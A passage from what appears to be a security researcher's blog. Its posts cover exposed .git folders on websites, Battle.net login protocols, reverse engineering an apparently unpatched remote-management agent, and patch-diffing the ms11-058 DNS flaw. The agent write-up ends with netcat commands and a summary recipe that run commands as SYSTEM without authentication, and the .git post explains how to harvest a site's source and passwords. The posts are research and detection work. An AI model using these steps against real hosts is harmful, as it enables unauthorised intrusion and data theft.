That'll take some time, depending on the size of the repository. When it's all done, go into the folder that wget created and use git --reset:

$ cd www.site.com
$ git reset --hard
HEAD is now at [...]

Then look around - you have their entire codebase!

$ ls
db  doc  robots.txt  scripts  test

Browse this for interesting scripts (like test scripts?), passwords, configuration details, deployment, addresses, and more! You just turned your blackbox pentest into a whitebox one, and maybe you got some passwords in the deal! You can also use "git log" to get commit messages, "git remote" to get a list of interesting servers, "git branch -a" to get a list of branches, etc.

Why does this happen?

When you clone a git repository, it creates a folder for git's metadata - .git - in the folder where you check it out. This is what lets you do a simple "git pull" to get new versions of your files, and can make deployment/upgrades a breeze. In fact, I intentionally leave .git folders in some of my sites - like my hackerspace, SkullSpace. You can find this exact code on github, so there's no privacy issue; this only applies to commercial sites where the source isn't available, or where more than just the code is bring stored in source control.

There are a few ways to prevent this:

• Remove the .git folder after you check it out
• Use a .htaccess file (or apache configuration file) to block access to .git
• Keep the .git folder one level up - in a folder that's not available to the Web server
• Use a framework - like Rails or .NET - where you don't give users access to the filesystem

There may be other ways as well, use what makes sense in your environment!

Finding this in an automated way

A friend of mine - Alex Weber - wrote an Nmap script (his first ever!) to detect this vulnerability and print some useful information about the git repository! This script will run by default when you run nmap -A, or you can specifically request it by running nmap --script=http-git <target>. You can quickly scan an entire network by using a command like:

nmap -sS -PS80,81,443,8080,8081 -p80,81,443,8080,8081 --script=http-git <target>

The output for an affected host will look something like:

PORT     STATE  SERVICE
80/tcp   open   http
| http-git:
|   Potential Git repository found at 206.220.193.152:80/.git/ (found 5 of 6
expected files)
|   Repository description: Unnamed repository; edit this file 'description' to name
the...
|   Remote: https://github.com/skullspace/skullspace.ca.git
|_   -> Source might be at https://github.com/skullspace/skullspace.ca

And that's all there is to it! Have fun, and let me know if you have any interesting results so I can post a followup!

There have been a lot of discussion and misconceptions about Battle.net's authentication lately. Having done a lot of work on the Battle.net protocol, I wanted to lay some to rest.

The first thing to understand is that, at least at the time I was working on this, there were three different login methods (this is before they combined the Web logins with Battle.net logins - I can't speak on those). The three methods are:

1. CHAT protocol - deprecated a long, long time ago
2. Old Login System (OLS) - used by Diablo, Warcraft 2 BNE, Starcraft, and Diablo II
3. New Login System (NLS) - used by Warcraft 3, World of Warcraft, and in some fashion by newer games. Also supported - but unused - by Diablo II

I'll describe, in detail, how each of these work. The summary is, though, that at no point does a game client ever send a plaintext password to the server. The closest is the SHA1 of the password, which is used for account creation in old games. For more information, read on!

CHAT protocol

Creating an account

You can't create an account on CHAT.

Logging in

The login was plaintext, over an insecure connection.

Old Login System

The Old Login System (or OLS) is the original login system used by Battle.net. It uses a modified version of SHA1 hashing that I'm going to call Broken-SHA1 for the remainder of this post. It's identical to SHA1 with the exception of an inverted shift or two. There's been a lot of discussion on whether or not this was intentional - to throw off reverse engineers - or a simple bug. Personally, I lean towards a bug, since there were other similar bugs throughout the login sequence on older games. Additionally, there is no evidence of anti-reverse engineering attempts in any of the Blizzard games I've worked on, even Warden and Lockdown and other measures are pure anti-hacking.

Account creation under OLS

This is quite possibly the riskiest part of the entire process. When you create an account under the OLS, you send it the username and a Broken-SHA1() hash of the uppercased password. The server validates that the username is valid, and if it is, it stores the Broken-SHA1 hash.

Interestingly, you can use any 160-bit value for the Broken-SHA1 hash, it doesn't actually have to be Broken-SHA1. This is because Battle.net simply stores the value it receives on the server side, and validates it when you log in.

Account login under OLS

When you log in, three values are used:

• A 32-bit token generated by the server (server seed)
• A 32-bit token generated by the client (client seed)
• The password

The client seed and server seed are exchanged before the authentication is attempted. As before, the password is converted to uppercase, and hashed with Broken-SHA1. Then, the client and server seeds are appended to the password, and the Broken-SHA1 is calculated again. This gives a 160-bit value that is sent to the server. The server takes the same two values - which were exchanged - and the Broken-SHA1 of the uppercased password - which it has stored - and performs the same calculation. The server compares the hash it generated to the hash that the client sent, and if everything goes according to plan, the hashes match.

New Login System

The New Login System (NLS) first appeared - as unused code - in Diablo 2. It was then used in Warcraft 3, and a slightly modified version was used in World of Warcraft. I can't comment on Starcraft 2 or Diablo 3, having never worked on them.

NLS uses the SRP Version 6 as the basis for its authentication protocol, which uses RSA-like public key cryptography. I explain this in full on my wiki, but I'll summarize the important parts here.

Account creation under NLS

When a user creates an account, the client sends three values, defined as s, v, and the username.

• s is the salt. It is randomly generated from a cryptographically secure random number generator.
• v is the validator. It is generated from the formula v = g^x % N.
• g and N are known constants, shared between all installations of all games.
• x is defined as x = SHA1(s + SHA1(C + ":" + P))
• C and P are the username and password, respectively, converted to uppercase.

So, to summarize, the client sends the salt, and the verifier. The salt is randomly generated, and the verifier is based on the username, password, and salt.

Account login under NLS

Account logins are a little more complicated. There are four steps.

First, the client sends A and C.

• A is a 256-bit public key based on a, which is a randomly generated session key. It is derived from A using the following formula: A = g^a % N. As before, g and N are constants. a is a private key generated from random bytes.
• C is the username, converted to uppercase.

Second, the server replies with s and B

• s - the salt - is the same one the client sent when it created the account.
• B is a public session key, generated by the server much the same way as A is generated by the client - B = (v + g^b) % N, where b is randomly generated.

Third, the client sends M1 (otherwise known as the proof). It is calculated by a fairly complex formula:
M1 = SHA1(I, SHA1(C), s, A, B, K)

Where:

• I is a constant, calculated in a fairly weird way (see my wiki for more details)
• C is, as before, the uppercase username
• s, A, and B are the salt, client public key, and server public key, as exchanged
• K is a shared key derived from S

S is where all the magic happens. It's generated through a different formula on the server and the client - since the server knows A, B, and b, while the client knows A, a, and B. Here are the respective formulas:

• (client) S = ((N + B - v) % N)(^{a + ux}) % N
• (server) S = (A * (v^u % N))^b % N

Keep in mind that v - the verifier - is what was sent when the account was created, and is based on the uppercase username, uppercase password, and the salt. The variable u is derived from B and x is derived from the username and password.

So, the client calculates its value, and sends it to the server. The server calculates its value, and compares it to what the client sent. If they match, authentication (of the client) is successful and the server returns M2.

And that brings us to the last step. Not only does the client prove to the server that it knows the password, the server also proves to the client that it knows the password. When implementing the protocol, this isn't technically necessary, but it's a security measure so I implemented it anyway.

M2 is simply: M2 = SHA1(A + M1 + K), where A is, as before, the client's public key; M1 is the value from the previous step; and K is, as with M1, the shared key derived from S, which is the complex formula discussed above.

The server and client both generate M2, and the server sends M2 to the client. If the client verifies that M2 is correct, then the client is sure that it's talking to a valid server and it continues the connection.

At this point, the protocols continue on as before. In the beta for Warcraft 3, all messages after the login completed were encrypted with RC4 using K as a shared key. Once Warcraft 3 was released, the encryption was disabled and all traffic after the login is currently plaintext.

What's the point?

The point of writing this blog is to give some insight into Battle.net's protocols, and to demonstrate that, at no time during the normal use of any Battle.net games does Blizzard have access to your plaintext password. Yes, the passwords are converted to uppercase before hashing. That's probably a bad idea - especially in the modern world - but it really dates back to their first Battle.net game - Diablo - from 1996. Since then, they've developed much better login systems, but they've kept the passwords case insensitive.

If you fail a certain number of logins against Battle.net, your IP address is temporarily banned. This makes it fairly difficult to bruteforce most accounts. It requires significant resources (proxies, bots, etc.) to make an attack feasible. It's much easier to compromise accounts via phishing and malware, so that's what attackers do.

There are lots of things I didn't go over - upgrading OLS accounts to NLS, email password resets, password changes, etc. - but they're all fairly logical, and use the minimum amount of information required (typically the same information as you used to create the account). You can find more information on my Battle.net SRP page and on BNetDocs Redux.

There are also Battle.net authenticator tokens, which I haven't researched at all so I can't talk about.

Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to pay to see them! (A note to vendors - making us pay for your patches or mitigation notes only makes your customers less secure. Please stop doing that!)

This research was done in the course of my work at Tenable Network Security on the Reverse Engineering team. It's an awesome team to work on, and we're always hiring (for this team and others)! If you're interested and you have mad reverse engineering skillz, or any kind of infosec skillz, get in touch with me privately! (rbowes-at-tenable-dot-com if you're interested in applying)

The advisory

I'm not going to talk too much about the advisory, but I'll just say this: it was on ZDI, and basically said that the vulnerability was related to improper validation of credentials allowing the execution of arbitrary shell commands. Pretty vague, but certainly an interesting challenge!

Getting started

One of the obvious places to start is to load up the .exe file into IDA (disassembler) and look at the networking functions. Another - easier - option is load up a debugger (WinDbg) and throw a breakpoint on winsock32!recv or ws2_32!recv, then send data to the program to see where it breaks. That's normally the first thing I try if the protocol is unknown (and sometimes even if it's a known protocol).

By putting a breakpoint on recv, sending it data with netcat, and using the 'gu' command to step out of the receive function, I wound up looking at this code in IDA:

Basically, it calls recv with a length of '1' and stores the results in a local buffer. Then it jumps to this bit of code:

Essentially, it's checking if the value byte it just received is '0' (the null byte, "\0"). If it is, it falls through, does some logging, then returns (not shown).

I decided to call this function "read_from_socket".

Based on this little bit of code, I determined some information about the protocol - it receives a series of bytes, up to some maximum length, that are terminated by a null byte ("\0").

Diving into the protocol

The next thing we want to know is how or where the received data is used. We can trace through the assembly, or we can do it the easy way and use a debugger. So, naturally, I decided to take the easy way out and continued using the debugger. I opted to put a breakpoint at 40507c using Windbg, which is just below the recv code shown above:

0:002> bp 40507c

Then I resume the process in Windbg with the 'g' command (or I can press F5):

0:002> g

Then I use netcat to send 'test\0' (that is, test with a null byte at the end) to the process (note that this isn't the real port):

ron@armitage ~ $ echo -ne "test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 5, rcvd 0
ron@armitage ~ $

And, of course, back in the debugger, it hits our breakpoint. After that, we inspect ecx (which should be the buffer):

0:002> bp 40507c
0:002> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
XXXXXXXX+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 ff a2 00 10 00 00 00  test............
[...]

ecx, as we would expect, points to the buffer we just received ("test\0", followed by whatever). Now, we want to know where that data is used. To do that, we use a break-on-access breakpoint - ba - which will break the program's execution when the data is read, then 'g', for 'go', to continue execution:

0:001> ba r4 00a2ec64
0:001> g

Immediately afterwards, as expected, the breakpoint is hit when the process tries to read the "test\0" string:

Breakpoint 1 hit
eax=00000005 ebx=001576a8 ecx=00000000 edx=00000074 esi=001576a8 edi=00000000
eip=00404074 esp=00a2eb38 ebp=00a2ec8c iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
XXXXXXXX+0x4074:
00404074 85d2            test    edx,edx

It breaks at 404074! That means that line is where the buffer is read from memory (actually, it's read the line before - the break happens after the read, not before it)

Going back to IDA, here's what the code looks like:

I circled the points where the buffer is read in red. First, it reads each character from a local variable that I named 'buffer' - [ebp+ecx+buffer] - into edx as a signed value (when you see a buffer being read with 'movsx' - move sign extend - that often leads to sign-extension vulnerabilities, though not in this case). It checks if it's null - which would mean it's at the end of the string - and exits the loop if it is.

A few lines later, the second time the buffer is read, it's read into ecx. Each character is passed into _isdigit() and, if it's not a digit, it exits the loop with an error message, "Illegal Port number". Hmm! So, now we know that the first part of the protocol is apparently a port number terminated by a null byte. Awesome! But weird? Why are we telling it a port number?

Connect back

If we scroll down in IDA a little bit, and find where the function ends after successfully reading a port number, here's the code we find:

There's some logging here - I love logging! - that says the value we just received is called the 'return socket'. Then a function is called that basically connects back to the client on the port number just received. I'm not going to go any deeper because the code isn't interesting or useful to us. I never did figure out what this second connection is used for, but the program doesn't seem to care if it fails.

So that's the first client-to-server message figured out! To summarize a bit:

• Client connects to server
• Client sends server a null-terminated port number
• Server connects back to client on that port
• The new connection isn't used for anything, as far as I can tell

Moving right along...

Now that we've got the first message all sorted out, we're interested in what the second message is. Rather than trying to navigate the tangled code (which leads through a select() and a few other functions), we're going to generate another packet with netcat and see where it's read, just like last time.

First, we clear our breakpoints and put a new one on 40507c again (the same place as our last breakpoint - right after a packet is read):

0:001> bc *
0:001> bp 0040507c
0:001> g

Then we connect with netcat, this time with a proper connect-back port ("12345\0") and a second string ("test\0"):

ron@armitage ~ $ echo -ne "12345\0test\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

The breakpoint we set earlier will fire on the first line again:

Breakpoint 0 hit
eax=00000006 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2eb08 ebp=00a2eb24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  31 32 33 34 35 00 00 00-00 ff a2 00 10 00 00 00  12345...........

But we aren't interested in that, and run 'g' to continue:

0:001> g
Breakpoint 0 hit
eax=00000005 ebx=001576a8 ecx=00a2ec64 edx=00a2edbc esi=001576a8 edi=00000000
eip=0040507c esp=00a2e7e0 ebp=00a2e7fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
xxxxxxxx+0x507c:
0040507c 51              push    ecx
0:001> db ecx
00a2ec64  74 65 73 74 00 00 00 00-00 00 00 00 00 00 00 00  test............

Now we've found the string we're interested in!

Once again, we put a breakpoint-on-read on ecx and resume execution. The process will break again when the "test\0" string is read:

0:001> g
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00a2ec64 edx=00000000 esi=001576a8 edi=00000000
eip=00422162 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x22162:
00422162 bafffefe7e      mov     edx,7EFEFEFFh

That is, at 422162. A pro-tip - if you notice the constant 0x7EFEFEFF, or something similar, you're probably in a string manipulation function. And this is no exception - according to IDA, this is strlen(). To get out, we use 'gu':

0:001> gu
Breakpoint 1 hit
eax=74736574 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a2ec64 edi=00a3b0b8
eip=00422424 esp=00a2e708 ebp=00a2e710 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
xxxxxxxx+0x22424:
00422424 89448ffc        mov     dword ptr [edi+ecx*4-4],eax ds:0023:00a3b0b8=00000000

Now we're in memcpy! At this point, I started using 'gu' over and over till I finally found something interesting:

0:001> gu
eax=00a3b0b8 ebx=001576a8 ecx=00000001 edx=00000000 esi=00a35078 edi=00000000
eip=0041beb6 esp=00a2e718 ebp=00a2e734 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x1beb6:
0041beb6 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=0041c056 esp=00a2e73c ebp=00a2e74c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x1c056:
0041c056 83c40c          add     esp,0Ch
0:001> gu
eax=00440000 ebx=001576a8 ecx=004448e4 edx=00000032 esi=00a35078 edi=00000000
eip=00419d00 esp=00a2e754 ebp=00a2e798 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x19d00:
00419d00 83c40c          add     esp,0Ch
0:001> gu
eax=00a30000 ebx=001576a8 ecx=00000000 edx=00a2e734 esi=00a35078 edi=00000000
eip=00416fe5 esp=00a2e7a0 ebp=00a2e7d4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x16fe5:
00416fe5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=004187f5 esp=00a2e7dc ebp=00a2e7ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0x187f5:
004187f5 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=0041f5ca esp=00a2e7f4 ebp=00a2e800 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
xxxxxxxx+0x1f5ca:
0041f5ca 83c40c          add     esp,0Ch
0:001> gu
eax=00000000 ebx=001576a8 ecx=00436f88 edx=00040000 esi=001576a8 edi=00000000
eip=00404465 esp=00a2e808 ebp=00a2ec8c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
xxxxxxxx+0x4465:
00404465 83c408          add     esp,8

Finally, at 404465, I see this code:

"Getting password"! It looks like I ran into some authentication code! If I scroll down further, I find this code:

"Getting command", followed by a call to read_from_socket(), which is the function that basically does recv(). Sweet!

It would take too many screenshots to show it all here, but to summarize the function I'm looking at, it basically takes the following actions:

• Logs "Getting username"
• Reads a string up to a null byte (\0)
• (we broke into the function right here while it was processing that string)
• Logs "Getting password"
• Reads a string up to a null byte (\0)
• Logs "Getting command"
• Reads a string up to a null byte (\0)

There are many ways to proceed from here, but I figured I'd put a breakpoint on the read following the "Getting command" line, and then to send a string with all the requisite fields (a connect-back port, a username, a password, and a command). Knowing from the advisory that the vulnerability was in the authentication, I decided to try sending in garbage values. I didn't try looking at the code where the username/password are verified - I figured I'd just skip that code (it's pretty long).

0:001> bc *
0:001> bp 40465d
0:001> g

Then run the app and use netcat to send a test command:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

And, it breaks!

0:001> bc *
0:001> bp 40465d
0:001> g
Breakpoint 0 hit
eax=00a2edbc ebx=001576a8 ecx=00a2e83c edx=00000032 esi=001576a8 edi=00000000
eip=0040465d esp=00a2e804 ebp=00a2ec8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
xxxxxxxx+0x465d:
0040465d e84e090000      call    xxxxxxxx+0x4fb0 (00404fb0)

Sweet!

I took a few dead-end paths here, but eventually I decided that, knowing that 'mycommand' is the command it's planning to run, I'd put a breakpoint on CreateProcessA, send the 'mycommand' string again, and see what happens:

0:001> bc *
0:001> bp kernel32!CreateProcessA
0:001> bp kernel32!CreateProcessW
0:001> g

Then the netcat command again:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

Then, the breakpoint fires:

Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=77e424b9 esp=00a29788 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!CreateProcessA:
77e424b9 8bff            mov     edi,edi

Sure enough, it breaks! I immediately run 'gu' ('go up') to exit the CreateProcessA function:

0:001> gu
eax=00000000 ebx=001576a8 ecx=77e722e9 edx=00000000 esi=00000029 edi=00000000
eip=0040b964 esp=00a297b4 ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb964:
0040b964 898558bdffff    mov     dword ptr [ebp-42A8h],eax ss:0023:00a29cb8=7ffdd000

And find myself at 40b964. Loading up that address in IDA, here's what it looks like (the call is circled in red):

I'd like to verify the command that's being sent to CreateProcessA, to see if it's something I can manipulate easily. So I put a breakpoint at 40b95e:

0:001> bc *
0:001> bp 40b95e
0:001> g

And send the usual command:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0mycommand\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open

When it breaks, I dump the memory at ecx - the register that stores the command:

Breakpoint 0 hit
eax=00000000 ebx=001576a8 ecx=00a2db48 edx=00a29cc0 esi=00000029 edi=00000000
eip=0040b95e esp=00a2978c ebp=00a2df60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
xxxxxxxx+0xb95e:
0040b95e ff15cc004300    call    dword ptr [xxxxxxxx+0x300cc (004300cc)] ds:0023:004300cc={kernel32!CreateProcessA (77e424b9)}
0:001> db ecx
00a2db48  43 3a 5c 50 52 4f 47 52-41 7e 31 5c xx xx xx xx  C:\PROGRA~1\XXXX
00a2db58  xx xx 7e 31 5c xx xx xx-xx 5c 41 67 65 6e 74 5c  XX~1\XXXX\Agent\
00a2db68  6d 79 63 6f 6d 6d 61 6e-64 20 00 00 00 00 00 00  mycommand ......

Aha! It's prepending the path to the program's folder to our command and passing it to CreateProcessA! The natural thing to do is to use '../' to escape this folder and run something else, but that doesn't work. I never actually figured out why - and it seemed to kinda work - but it was doing some sort of filtering that would give me bad results. Eventually, I had an idea - which programs are stored in that folder anyways?

execute.exe? hide.exe? runasuser.exe? Could it BE that simple?

I fire up netcat again:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0runasuser calc\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 35, rcvd 1

And check the process list:

And ho-ly crap! We have command execution! Unauthenticated! As SYSTEM!! Game over, I win!

Writing the check

But wait, there's no output on netcat. No indication at all that this worked, in fact. Crap! Wut do?

It occurred to me that this particular application also has a Web server built in. Can I write to files using this command execution? I try:

ron@armitage ~ $ echo -ne "12345\0myuser\0mypass\0runasuser cmd /c \"ipconfig > c:\\myfile\"\0" | nc -vv 192.168.1.112 1234
192.168.1.112: inverse host lookup failed:
(UNKNOWN) [192.168.1.112] 1234 (?) open
 sent 60, rcvd 1

And check the file:

Yup, works like a charm! (Don't mind the bad ip address - I took some of these screenshots at different times than others)

I change the code a little bit to point to the Web root and give it a go, and sure enough it works. With that, I can now write a proper check for Nessus. And with that, I'm done.

Summary

So, the TL;DR version of this is:

• Connect to the host
• Send it a port number, following by a null byte ("\0") - the host will try to connect back on that port
• Send a username and a password, each terminated by a null byte - these will be ignored
• Send a command using the "runasuser.exe" program - included
• Profit!

Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree.

Although I didn't find a way to exploit this vulnerability, there's more to this vulnerability than meets the eye - it's fairly complicated, and there are a number of places that I suspect an experienced exploit developer might find a way to take control.

In this post, I'm going to go over step by step how I reverse engineered this patch, figured out how this could be attacked, and why I don't believe the vulnerability is as simple as the reports seem to indicate.

Oh, and before I forget, the Nessus Security Scanner from Tenable Network Security (my employer) has both remote and local checks for this vulnerability, so if you want to check your network go run Nessus now!

The patch

The patch for ms11-058 actually covers two vulnerabilities:

1. An uninitialized-memory denial-of-service vulnerability that affects Windows Server 2003 and Windows Server 2008
2. A heap overflow in NAPTR records that affects Windows Server 2008 only

We're only interested in the second vulnerability. I haven't researched the first at all.

Thankfully, the Microsoft writeup went into decent detail on how to exploit this issue. The vulnerability is actually triggered when a host parses a response NAPTR packet, which means that a vulnerable host has to make a request against a malicious server. Fortunately, due to the nature of the DNS protocol, that isn't difficult. For more details, check out that Microsoft article or read up on DNS. But, suffice it to say, we can easily make a server into processing our records!

NAPTR records

Before I get going, let's stop for a minute and look at NAPTR records.

NAPTR (or Naming Authority Pointer) records are designed for some sorta service discovery. They're defined in RFC2915, which is fairly short for a RFC. But I don't recommend reading it - I did, and it's pretty boring. In spite of my reading, I still don't understand exactly what NAPTR records really do. They seem to be used frequently for SIP and related protocols, though.

What matters is, the format of a NAPTR resource record is:

• (domain-name) question
• (int16) record type
• (int16) record class
• (int32) time to live
• (int16) length of NAPTR record (the rest of this structure)
• (int16) order
• (int16) preference
• (character-string) flags
• (character-string) service
• (character-string) regex
• (domain-name) replacement

(A resource record, for those of you who aren't familiar with DNS, is part of a DNS packet. A dns "answer" packet contains one or more resource records, and each resource record has a type - A, AAAA, CNAME, MX, NAPTR, etc. Read up on DNS for more information.)

The first four fields in the NAPTR record are common to all resource records in DNS. Starting at the length, the rest are specific to NAPTR and the last four are the interesting ones. The (character-string) and (domain-name) types are defined in RFC1035, which I don't recommend reading either. The important part is:

• A (character string) is a one-byte length followed by up to 255 characters - essentially, a length-prefixed string
• A (domain name) is a series of character strings, terminated by an empty character string (simply a length of \x00 and no data - effectively a null terminator)

Remember those definitions - they're going to be important.

You will need...

All right, if you plan to follow along, you're going to definitely need the vulnerable version of dns.exe. Grab c:\windows\system32\dns.exe off an unpatched Windows Server 2008 x86 (32-bit) host. If you want to take a look at the patched version, grab the executable from a patched host. I usually name them something obvious:

Right-click on the files and select 'properties' and pick the 'details' tab to ensure you're working from the same version as me:

You will also need IDA, Patchdiff2, and Windbg. And a Windows Server 2008 32-bit box with DNS installed and recursion enabled. If you want to get all that going, you're on your own. :)

You'll also need a NAPTR server. You can use my nbtool program for that - see below for instructions.

Disassemble

Load up both files in their own instances of IDA, hit 'Ok' or 'Next' until it disassembles them, and press 'space' when the graph view comes up to go back to the list view. Then close and save the patched one. In the vulnerable version, run patchdiff2:

And pick the .idb file belonging to the patched version of dns.exe. After processing, you should get output something like this:

There are two things to note here. First, at the bottom, in the status pane, you get a listing of the functions that are "identical", matched, and unmatched. Identical functions are ones that patchdiff2 has decided are unchanged (even when that's not true, as we'll see shortly); matched functions are ones that patchdiff2 thinks are the same function in both files, but have changed in a significant way; and unmatched functions are ones that patchdiff2 can't find a match for.

You'll see that in ms11-058, it found 1611 identical functions and that's it. Oops?

If you take a look at the top half of the image, it's a listing of the identical functions. I sorted it by the CRC column, which prints a '+' when the CRC of the patched and unpatched versions of a function differ. And look at that - there are four not-so-identical functions!

The obvious function in this bunch to take a closer look at is NaptrWireRead(). Why? Because we know the vulnerability is in NAPTR records, so it's a sensible choice!

At this point, I closed IDA and re-opened the .exe files rather than leaving patchdiff2 running.

So, go ahead now and bring up NaptrWireRead() in both the unpatched and patched versions. You can use shift-F4 to bring up the 'Names' window and find it there. It should look like this:

Scroll around and see you can see where these functions vary. It's not as easy as you'd think! There's only one line different, and I actually missed it the first time:

Line 0x01038b38 and 0x01038bd8 are different! One uses movsx and one uses movzx. Hmm! What's that mean?

movsx means "move this byte value into this dword value, and extend the sign". movzx means "move this byte value into this dword value, and ignore the sign". Basically, a signed vs unsigned value. For the bytes 0x00 to 0x7F, this doesn't matter. For 0x80 to 0xFF, it matters a lot. That can be demonstrated by the following operation:

movsx edi, 0x7F
movsx esi, 0x80

movzx edi, 0x7F
movzx esi, 0x80

In the first part, you'll end up with edi = 0x0000007F, as expected, but esi will be 0xFFFFFF80. In the second part, esi will be 0x0000007F and edi will be 0x00000080. Why? For more information, look up "two's complement" on Wikipedia. But the simple answer is, 0x80 is the signed value of -128 and the unsigned value of 128. 0xFFFFFF80 is also -128 (signed), and 0x00000080 is 128 (unsigned). So if 0x80 is signed, it takes the 32-bit signed value (-128 = 0xFFFFFF80); if 0x80 is unsigned, it takes the 32-bit unsigned value (128 = 0x00000080). Hopefully that makes a little sense!

Setting up and testing NAPTR

Moving on, we want to do some testing. I set up a fake NAPTR server and I set up the Windows Server to recurse to my fake NAPTR server. If you want to do that yourself, one way is grab the sourcecode for nbtool and apply this patch. You'll have to fiddle in the sourcecode, though, and it may be a little tricky.

You can also use any DNS server that allows a NAPTR record. We aren't actually sending anything broken, so any DNS server you know how to set up should work just fine.

Basically, I use the following code to build the NAPTR resource record:

char *flags   = "flags";
char *service  = "service";
char *regex   = "this is a really really long but still technically valid regex";
char *replace = "this.is.the.replacement.com";

answer = buffer_create(BO_BIG_ENDIAN);
buffer_add_dns_name(answer, this_question.name); /* Question. */

buffer_add_int16(answer, DNS_TYPE_NAPTR); /* Type. */
buffer_add_int16(answer, this_question.class); /* Class. */
buffer_add_int32(answer, settings->TTL);
buffer_add_int16(answer, 2 +                   /* Length. */
                         2 +
                         1 + strlen(flags) +
                         1 + strlen(service) +
                         1 + strlen(regex) +
                         2 + strlen(replace));

buffer_add_int16(answer, 0x0064); /* Order. */
buffer_add_int16(answer, 0x000b); /* Preference. */

buffer_add_int8(answer, strlen(flags)); /* Flags. */
buffer_add_string(answer, flags);

buffer_add_int8(answer, strlen(service)); /* Service. */
buffer_add_string(answer, service);

buffer_add_int8(answer, strlen(regex)); /* Regex. */
buffer_add_string(answer, regex);

buffer_add_dns_name(answer, replace);
answer_string = buffer_create_string_and_destroy(answer, &answer_length);

dns_add_answer_RAW(response, answer_string, answer_length);

It's not pretty, but it did the trick. After that, I compile it and run it. At this point, it'll simply start a server that waits for NAPTR requests and respond with a static packet no matter what the request was.

Debugger

Now, we fire up Windbg. If you ever use Windbg for debugging, make sure you check out Windbg.info - it's an amazing resource.

When Windbg loads, we hit F6 (or go to file->attach to process). We find dns.exe in the list and select it:

Once that's fired up, I run !peb to get the base address of the process (there are, of course, other ways to do this). The command should look like this:

Back in IDA, rebase the program by using edit->segments->rebase program, and set the image base address to 0x00ea0000:

